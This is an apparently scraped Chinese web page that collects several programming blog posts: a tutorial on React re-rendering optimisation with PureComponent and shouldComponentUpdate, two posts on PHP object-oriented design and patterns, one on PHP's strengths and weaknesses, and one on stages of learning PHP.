如果开发者将任何元素/组件的多个子元素在内部表示为数组,那么程序可以获得非常明显的速度提升。

考虑一下:

<div><Message /><Table /><Footer /></div>

在虚拟DOM中,将表示为:

// ...props: { children: [ { type: Message }, { type: Table }, { type: Footer } ]}// ...

一个简单的

Message

组件(是一个

div

带有一些文本,像是猪齿鱼的顶部通知)和一个很长的

Table

,比方说1000多行。它们都是

div

元素的

child

,因此它们被放置在父节点的

props.children

之下,并且它们没有

key

。React甚至不会通过控制台警告来提醒开发者分配key,因为子节点

React.createElement

作为参数列表而不是数组传递给父节点。

现在,用户已经关闭了顶部通知,所以

Message

从树中删除。

Table

Footer

是剩下的child。

// ...props: { children: [ { type: Table }, { type: Footer } ]}// ...

React如何看待它?它将它视为一系列改变了type的child:children[0]的type本来是

Message

,但现在他是

Table

。因为它们都是对函数(和不同函数)的引用,它会卸载整个Table并再次安装它,渲染它的所有子代:1000多行!

因此,你可以添加唯一键(但在这种特殊情况下使用

key

不是最佳选择)或者采用更智能的trick:使用 && 的布尔短路运算,这是

JavaScript

和许多其他现代语言的一个特性。像这样:

<div> {isShowMessage && <Message />} <Table /><Footer /></div>

即使

Message

被关闭了(不再显示),

props.children

父母div仍将拥有三个元素,children[0]具有一个值

false

(布尔类型)。还记得

true

/

false

,

null

甚至

undefined

都是Virtual DOM对象type属性的允许值吗?浏览器最终得到类似这样的东西:

// ...props: { children: [ false, // isShowMessage && <Message /> 短路成了false { type: Table }, { type: Footer } ]}// ...

所以,不管

Message

是否被显示,索引都不会改变,

Table

仍然会和

Table

比较,但仅仅比较Virtual DOM通常比删除DOM节点并从中创建它们要快得多。

现在来看看更高级的东西。开发者喜欢HOC。高阶组件是一个函数,它将一个组件作为一个参数,添加一些行为,并返回一个不同的组件(函数):

functionwithName(SomeComponent) { returnfunction(props) { return<SomeComponent {...props} name={name} />; }}

开发者在父

render

方法中创建了一个HOC 。当

React

需要重新渲染树时,

React

的Virtual DOM将如下所示:

// On first render:{ type: ComponentWithName, props: {},}// On second render:{ type: ComponentWithName, // Same name, but different instance props: {},}

现在,React只会在ComponentWithName上运行一个diff算法,但是这次同名引用了一个不同的实例,三等于比较失败,必须进行完全重新挂载。注意它也会导致状态丢失,幸运的是,它很容易修复:只要返回的实例都是同一个就好了:

// 单例const ComponentWithName = withName(Component);classAppextendsReact.Component() { render() { return<ComponentWithName />; }}

修复update

现在浏览器已经确保不会重新装载东西了,除非必要。但是,对位于DOM树根目录附近的组件所做的任何更改都将导致其所有子项的进行对比重绘。结构复杂,价格昂贵且经常可以避免。

如果有办法告诉React不要查看某个分支,那将是很好的,因为它没有任何变化。

这种方式存在,它涉及一个叫

shouldComponentUpdate

的组件生命周期函数。React会在每次调用组件之前调用此方法,并接收

props

state

的新值。然后开发者可以自由地比较新值和旧值之间的区别,并决定是否应该更新组件(返回

true

false

)。如果函数返回

false

,React将不会重新渲染有问题的组件,也不会查看其子组件。

通常比较两组

props

state

一个简单的浅层比较就足够了:如果顶层属性的值相同,浏览器就不必更新了。浅比较不是

JavaScript

的一个特性,但开发者很多方法来自己实现它,为了不重复造轮子,也可以使用别人写好的方法。

在引入浅层比较的npm包后,开发者可以编写如下代码:

classTableRowextendsReact.Component{ shouldComponentUpdate(nextProps, nextState) { const { props, state } = this; return !shallowequal(props, nextProps) && !shallowequal(state, nextState); } render() { /* ... */ }}

但是你甚至不必自己编写代码,因为React在一个名为React.PureComponent的类中内置了这个功能,它类似于

React.Component

,只是

shouldComponentUpdate

已经为你实现了浅层props/state比较。

或许你会有这样的想法,能替换

Component

PureComponent

就去替换。但开发者如果错误地使用

PureComponent

同样会有重新渲染的问题存在,需要考虑下面三种情况:

<Table // map每次都会返回一个新的数组实例,所以每次比较都是不同的 rows={rows.map(/* ... */)} // 每一次传入的对象都是新的对象,引用是不同的。 style={ { color: 'red' } } // 箭头函数也一样,每次都是不同的引用。 onUpdate={() => { /* ... */ }}/>

上面的代码片段演示了三种最常见的反模式,请尽量避免它们!

正确地使用

PureComponent

,你可以在这里看到所有的TableRow都被“纯化”后渲染的效果。

但是,如果你迫不及待想要全部使用纯函数组件,这样是不对的。比较两组

props

state

不是免费的,对于大多数基本组件来说甚至都不值得:运行

shallowCompare

比diff算法需要更多时间。

可以使用此经验法则:纯组件适用于复杂的表单和表格,但它们通常会使按钮或图标等简单元素变慢。

现在,你已经熟悉了React的渲染模式,接下来就开始前端优化之旅吧。

展开
收起

特务Q:深入PHP设计与编程(二)

上节谈到我们会在工作中遇到的坑,并且也想出一些解决办法。

组合

继承相信大家都不陌生,尤其当下各类框架,闭眼你都能猜到这个文件或那个文件一定要继承。

在《设计模式》有一个原则:favor composition over inheritance(组合优于继承)。组合模式中,组件在运行时被定义,运行时组合对象所达到的灵活性非常高,这在单独的继承树种是不可能达到的。

继承是应对变化的环境及上下文设计的有效方式,然而它会限制灵活性,尤其当类承担多重责任的时候。

设计一:

设计二:

先不要往下看,你能回答上面哪种设计更优吗?

其实答案显而易见,图2使用了策略模式,将一组算法移入到一个独立的类型中。这也简化了Lesson类型。动态的的组合对象,达到动态功能的效果,而非继承的静态功能。不过这也将导致代码可读性下降,你也看到了,组合需要更多的对象类型,它们不会像继承关系中具有固定的可预见性。

解耦

当然不是解开捆绑的莲藕了。项目庞大,思路不清晰的情况下,难免会使得类之间产生非常强的依赖性,这样的系统很难维护,一个小小的改动或许将引发一场海啸。

当我们看到系统中一个组件的改变迫使其他较多地方也发生改变的时候,就可确定为紧耦合。为了能安全的改动,我们总是期望创建独立存在的组件。

下面一个非常清晰的例子:

针对接口编程,而不是针对实现

把不同的实现隐藏在父类所定义的共同接口下。然后客户端代码需要一个父类的对象而不是一个子类的对象,从而使客户端代码可以不用关心它实际得到的是那个具体实现。

注意下图,类方法参数为抽象或通用类型。但如果参数对对象类型要求过于严格,会限制代码运行时的灵活性;过于通用,会降低安全性。

展开
收起

特务Q:深入PHP设计与编程(一)

一. PHP设计与管理的重要性

从PHP诞生到被更多的应用到项目中,已经过去了很多年。在这中间一批一批的后继者为PHP的发展,不断地探索。当然,你或许也很好奇PHP,因为太易于使用,并在短时间内能给出令你满意的结果。

你可能会将大量代码直接写在Web页面上,你也可能在文件中使用工具函数,再去执行它,都是ok的,PHP允许你这样做。但是你已经走上一条毁灭之路,并且陶醉其中。当然一开始的你不会那么迅速的意识到这个严重的问题,因为你的站点看起来如此美妙,并且客户也喜欢,愿意为之付费。

当你的项目到达一个新的阶段时,团队更大、客户更多、资金更多。这时事态开始恶化,你的项目就像中了毒一样。

新加入的程序员开始理解你的代码,他今天的任务可能只需要实例化a类,但是由于你一开始的挖的坑,他花费一整天的时间都可能没完成工作。

这时意识到这个严峻的问题,你尝试去改变,可是发现一个微小的改动,牵扯到20多个文件,预计1天的时间,最终竟然超过3天。

你的站点这时非常受欢迎了,需要迁移到新的服务器,可是你发现诸多文件路径、数据库等信息全被硬编码到许多文件中。或许有人自作聪明修改apache的URL重写模块。这些都将导致你无法再预计时间内完成项目。

前一天晚上修改代码由于疏忽,导致一整晚购物车无法运行。在你酣睡期间,顾客并没有睡觉。自然第二天既要解决代码问题,又要安抚顾客,并且集合队伍开始另一场救火行动...

上面的故事你可能觉得有点夸张,但是我看到现实中这些事一而再再而三的发生。许多PHP的项目都是从一个小项目变成令人恐惧的怪兽。

当然,如果你是一个PHP技术顾问,上面的问题并非坏消息。评估和修复一个这样的系统足够你未来半年或更长时间嘿嘿嘿了。但严肃看待,此类问题通常意味着一个业务的成功或失败。

我们的目标是实现构建实现既定目标的系统,并且他们易于进行协作开发。作为程序员我们创造了拥有“形状”和“行为”的机器,我们一生投入了很多天,每天也投入了很多个小时来开发程序,使这些机器的“形状”诞生。我们希望我们创造的单个类或对象、软件组件直至最终产品,能够构成一个优雅整体。

二. 面向对象、设计模式

面向对象并非PHP唯一的工作方法,但是它被认为是开发企业级系统的强大助力和重要方法,并且未来它将持续发光发热,我们很自然的选择它来解决我们遇到的麻烦。

如果PHP的面向对象你不了解,可以私聊我或在网上寻找资料。

熟悉面向对象的同学,应该熟知一个内容【涉及模式】。在开发过程中,我们所遇到的大部分问题其实都已被其他程序员一再的处理了。设计模式意味着智慧。一个模式一旦成为通用模式,就能丰富我们的语言,使我们可轻松的分享设计思想及这些思想所带来的成果。设计模式提取了共同问题,定义了经过测试的解决方案并描述了可能的结果。它更关注如何才能从这些语言基础中继续深入,继而理解项目中出现的问题及找出相应的潜在解决方案。

一个设计模式的核心由4部分组成:命名、问题、解决方案和效果。

《设计模式》一书中曾写道“找到一个好名字,成了我们在开发模式目录中最困难的部分之一”,简短明确的文字,可以表示相当复杂的问题和解决方案。

问题是模式的基础,我们的模式将是小心谨慎的描述问题空间。

解决方案最初是和问题放在一起的。模式通常包含一个返利代码。

通过简单的了解,我们了解到设计模式可以简单的描述问题的解决方案,但是我们同样重视解决方案的可重用性和灵活性。我们下节将具体阐述:

组合:如何通过聚合对象来获的比只使用集成更好的灵活性

解耦:如何降低系统中元素间的依赖性

接口的作用:模式和多态

模式分类等

展开
收起

深入解读PHP语言的优劣势,看清代码的本质

PHP优劣势

  PHP的优点:

  1、第一个是简单,PHP比其他任何的语言都要简单,入门的话PHP真的是可以一周就入门。C++有一本书叫做《21天深入学习C++》,其实21天根本不可能学会,甚至可以说C++没有3-5年不可能深入掌握。但是PHP绝对可以7天入门。所以PHP程序员的数量非常多,招聘比其他语言更容易。

  2、PHP的功能非常强大,因为PHP官方的标准库和扩展库里提供了做服务器编程能用到的99%的东西。PHP的PECL扩展库里你想要的任何的功能。

  3、另外PHP有超过20年的历史,生态圈是非常大的,在Github可以找到很多代码。

PHP优劣势

  PHP的缺点:

  1、性能比较差,因为毕竟是动态脚本,不适合做密集运算,如果同样的 PHP 程序使用 C/C++ 来写,PHP 版本要比它差一百倍。

  2、函数命名规范差,这一点大家都是了解的,PHP更讲究实用性,没有一些规范。一些函数的命名是很混乱的,所以每次你必须去翻PHP的手册。

  3、提供的数据结构和函数的接口粒度比较粗。PHP只有一个Array数据结构,底层基于HashTable。PHP的Array集合了Map,Set,Vector,Queue,Stack,Heap等数据结构的功能。另外PHP有一个SPL提供了其他数据结构的类封装。

PHP优劣势

  PHP总结:

  1、PHP更适合偏实际应用层面的程序,业务开发、快速实现的利器

  2、PHP不适合开发底层软件

  3、使用C/C++、JAVA、Golang等静态编译语言作为PHP的补充,动静结合

  4、借助IDE工具实现自动补全、语法提示

展开
收起

浅谈PHP语言的深入学习之道

很多小伙伴都问过小滕一个问题:”小滕,你是如何学习PHP的啊?“从这句话中小滕可以感觉出来,那就是提问的小伙伴对于自己在PHP的学习道路上可能存在一定的疑惑了。这其实很正常,在学习的过程中,会遇到一个又一个瓶颈,而长期处于瓶颈中后,会使人感到疑惑。如果没有较大的行为打破这个变化,那么瓶颈就会使人更加难受。特别是小伙伴如果辞职去寻找新的工作机会,这种时候愈发能感受到自己的瓶颈和差距所在。但是,虽然可以明显的感觉到差距的距离,但是让人无力的是,很多小伙伴并不知道如何去缩短这种差距,没有办法。因此,可能有的小伙伴就问出了上面的问题。今天,在这篇文章中,小滕就分享下PHP语言的学习深入之道。

基础阶段

在基础阶段是学习PHP的基本语法,在学习语法之后随着对PHP的逐渐数量,可以使用PHP编写一些简单的Web应用,比如说,留言板,小爬虫等等。写到这里,小滕想起了自己刚开始学习PHP的时候,那时候网络上比较火的是PHP100推出的视频教程,小滕就是看着那个视频入坑了PHP。因为PHP语法较为简单,特别是它的弱类型使得PHP上手简直不要太容易。在这个学习阶段,会让学习者产生那种学习中比较享受的满足感和成就感。成就感可谓是深入学习的动力,于是在这股成就感的激励下,开始了进一步的学习。

框架阶段

进一步学习之后,我们了解到PHP主要是做Web开发的,而MVC的模式早已经深入人心,遍地开花,于是,我们开始了解PHP相关的框架。于是Thinkphp出现在了我们的视野(当然现在第一个出现的框架可能是Laravel了。)

于是开始搜索框架的相关内容,在这个阶段我们深入的学习MVC模式下的Web开发,对于PHP的使用和理解就更加深入一步了。在学习MVC开发的过程中,我们发现还需要学习HTML,CSS,Javascript,还需要学习数据库也就是MySQL,但是由于我们学习的那些教学视频大部分都较为简单,所以设计得像前端,数据库的知识讲解的并不深,仅仅是能用即可,于是,在这个阶段,大部分PHP程序员非常熟悉Web开发了,而且能够做一些简单的全栈开发。

全栈阶段

经过框架阶段之后,我们发现做Web开发,单纯的学习PHP是不够的,于是我们开始学习Js,因为这几年前端的技术迭代日新月异,所以我们又开始学习Vuejs,Reactjs。另外,在数据库方便,我们还需要进一步学习,需要学习掌握更加复杂的SQL查询。而且,我们也开始学习服务器的相关的知识,开始学习服务器的环境搭建,开始学习Linux系统命令,如果在深入一点开始学习较为新的技术栈,如Docker等。这个阶段,是一个全面开花的阶段,也就是任何可能需要用到技术,我们都去学习。

又回到“基础”阶段

经过前面的三个阶段之后,小伙伴出去面试找新的工作,但是几番周折才发现自己虽然掌握得这么多,但是并不能找到一份薪水较好的工作。

为什么呢?因为前端三个阶段的学习其实忽视了”基础”的巩固。这里的基础并不是第一阶段的PHP基础,而是计算机基础。像计算机操作系统,数据结构,算法,计算机网等等。在这个阶段你会发现很多比较优质的开源项目,这些优质项目的技术栈你会发现,自己不是很明白,但是就是感觉很牛B,比如说PHP的多线程调度,php实现的io多路复用的socket服务等等。

前面已经学习了三个阶段,但是到了这里感觉自己还是很菜?其实这就是基础不好的原因。如果你充分学习计算机操作系统之后,多线程的知识对你就并不陌生了。于是,这个阶段,是巩固基础的阶段。这个阶段是进步非常快的阶段,因为在基础巩固之后,结合你前面的学习内容,你会在短时间内理解很多你之前感到困苦的东西,你会发现,原来很多东西我也可以写,可以用程序去实现它。

原理阶段

在计算机基础巩固之后,我们对于学习的目的并不是简简单单的了解它是如何使用的,我们还需要去了解它背后的实现原理。因此,在这个阶段,我们开始学习想框架的源代码,一些开源项目的源代码等等。原理阶段的学习对于处理因大流量带来的底层问题带来了解决方法。因此,这个时候,你已经很牛B了。

经过前面5个阶段,我相信你已经找到了自己的学习方法。

展开
收起